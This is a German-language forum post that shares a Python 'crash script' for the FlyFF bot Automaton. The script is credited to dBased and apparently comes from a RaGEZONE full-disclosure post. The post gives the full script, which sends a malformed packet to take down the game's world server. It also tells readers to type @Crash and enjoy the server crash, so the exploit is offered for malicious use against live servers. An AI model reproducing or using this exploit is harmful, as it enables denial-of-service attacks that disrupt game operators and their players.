Es gibt mal wieder ein neues Crash Script.
Dafür benötigt ihr den Automaton v1.2.x.x.
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Ersetzt diesen Inhalt mit dem in der Example.atpy !
Geht online gibt @Crash ein und freut euh wen der Worldserver abstürzt.
Wichtig hierbei ist zu beachten das ihr keine Objekte/Spieler/Npcs anvisiert habt.
Quelle: [Development] Full disclosure: Proof of concept (Crash) - RaGEZONE - MMORPG server development forums
Bug gefunden von nForce aka. dBased
Dafür benötigt ihr den Automaton v1.2.x.x.
Quellcode
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- ################################ FlyFF Automaton - Crash Script (Python) ##################################
- ############################ Copyright (C) 2009 by dBased. All rights reserved. ###########################
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- # Imports
- import struct
- from Automaton.Game import *
- from Automaton.System import AddCommand
- # Crash on unprotected server
- def Crash(arguments, device):
- # Try to fetch the current target
- target = GetTarget () or GetPlayer ()
- if ( not target ):
- device.Log ( 'Could not fetch a target!' )
- return True
- # Setup the packet and send it
- device.Log ( 'Crashing server!' )
- packet = struct.pack ( '<LLLLLL', 0xffffffff, 0x00ff0014, 0x1d, target.Numeric, 0, 1000 )
- Send ( packet )
- # Module initialization
- AddCommand ( Crash, 'Crash', '', 'Crash the server!' )
Ersetzt diesen Inhalt mit dem in der Example.atpy !
Geht online gibt @Crash ein und freut euh wen der Worldserver abstürzt.
Wichtig hierbei ist zu beachten das ihr keine Objekte/Spieler/Npcs anvisiert habt.
Quelle: [Development] Full disclosure: Proof of concept (Crash) - RaGEZONE - MMORPG server development forums
Bug gefunden von nForce aka. dBased